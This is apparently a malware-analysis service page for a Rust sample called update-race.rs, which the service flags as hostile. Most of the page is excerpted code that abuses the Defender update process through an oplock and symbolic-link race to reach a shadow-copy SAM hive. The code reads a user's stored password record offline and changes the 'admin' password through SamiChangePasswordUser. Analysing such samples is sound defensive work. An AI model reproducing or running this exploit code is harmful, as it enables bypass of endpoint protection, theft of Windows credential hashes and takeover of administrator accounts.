Hostile 92% rust Download

update-race.rs

Defender bypass, SAM password change

Defender update alias race targets SAM hiveOffline SAM reads accompany SAMR password replacement
SHA-256eea2cdcb72b30fc63255a486aae07d52250761ba085cd4f901221b6cc52669dc

Evidence

imports std::ffi::c_void lines 1–7
1:3… Static Rust FFI translation of the documented Stage 5-7 operations.
2// Arguments are native structures/handles supplied by a fixture harness.
3use std::ffi::c_void;
4type Handle = *mut c_void;
5#[repr(C)]
6struct UnicodeString { length: u16, maximum_length: u16, buffer: *const u16 }
7#[repr(C)] …
DeviceIoControl API reference lines 11–19
11:73… en()*2) as u16, buffer: s.as_ptr() }
12}
13extern "system" {
14 fn DeviceIoControl(h: Handle, code: u32, a: Handle, b: u32, c: Handle, d: u32, n: *mut u32, ov: Handle) -> i32;
15 fn GetOverlappedResult(h: Handle, ov: Handle, n: *mut u32, wait: i32) -> i32;
16 fn CloseHandle(h: Handle) -> i32;
17 fn NtCreateSymbolicLinkObject(h: *mut Handle, access: u32, attrs: Handle, target: Handle) -> i32;
18 fn RpcStringBindingComposeW(uuid: *const u16, protocol: *const u16, host: *const u16, ep: *const u16, opts: *const u16, out: *mut Handle) -> i32;
19 fn RpcBindingFromStringBindingW(t …
Defender IMpService local RPC endpoint reference lines 22–34
22:3… fn ORGetValue(key: Handle, subkey: *const u16, name: *const u16, kind: *mut u32, data: Handle, size: *mut u32) -> i32;
23 fn SamiChangePasswordUser(user: *const u16, old: Handle, new: Handle) -> i32;
24}
25fn wide(s: &str) -> Vec<u16> { s.encode_utf16().chain(Some(0)).collect() }
26pub unsafe fn update_race(staged: Handle, old_link: Handle, root: Handle, ov: Handle,
27 leaked: Handle, old_hash: Handle, new_hash: Handle) {
28 let uuid = wide("c503f532-443a-4c69-8300-ccd1fbdb3839");
29 let endpoint = wide("IMpService77BDAF73-B396-481F-9042-AD358843EC24");
30 let protocol = wide("ncalrpc");
31 let mut text = std::ptr::null_mut();
32 let mut binding = std::ptr::null_mut();
33 RpcStringBindingComposeW(uuid.as_ptr(), protocol.as_ptr(), std::ptr::null(), endpoint.as_ptr(), std::ptr::null(), &mut text);
34 …
Requests batch oplock by numeric control code lines 34–47
34:14… gFromStringBindingW(text, &mut binding);
35 let mut n = 0;
36 DeviceIoControl(staged, 589832, std::ptr::null_mut(), 0, std::ptr::null_mut(), 0, &mut n, ov);
37 GetOverlappedResult(staged, ov, &mut n, 1);
38 CloseHandle(old_link);
39 let name = wide("WDUpdateDirectory");
40 let directory = wide(r"\Sessions\8\BaseNamedObjects\{22222222-3333-4444-5555-666666666666}");
41 let sam_path = wide(r"\??\GLOBALROOT\Device\HarddiskVolumeShadowCopy9\Windows\System32\config\SAM");
42 let file = wide("mpasbase.vdm");
43 let name_string = native(&name);
⋯4 lines
Calls offline registry OROpenHiveByHandle lines 53–64
53:113… st _ as Handle);
54 CloseHandle(staged);
55 let mut hive = std::ptr::null_mut();
56 let mut user = std::ptr::null_mut();
57 OROpenHiveByHandle(leaked, &mut hive);
58 OROpenKey(hive, wide(r"SAM\Domains\Account\Users\000003E9").as_ptr(), &mut user);
59 let mut record = [0u8; 4096];
60 let mut size = 4096;
61 let mut kind = 0;
62 ORGetValue(user, std::ptr::null(), wide("V").as_ptr(), &mut kind, record.as_mut_ptr().cast(), &mut size);
63 SamiChangePasswordUser(wide("admin").as_ptr(), old_hash, new_hash);
64}

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.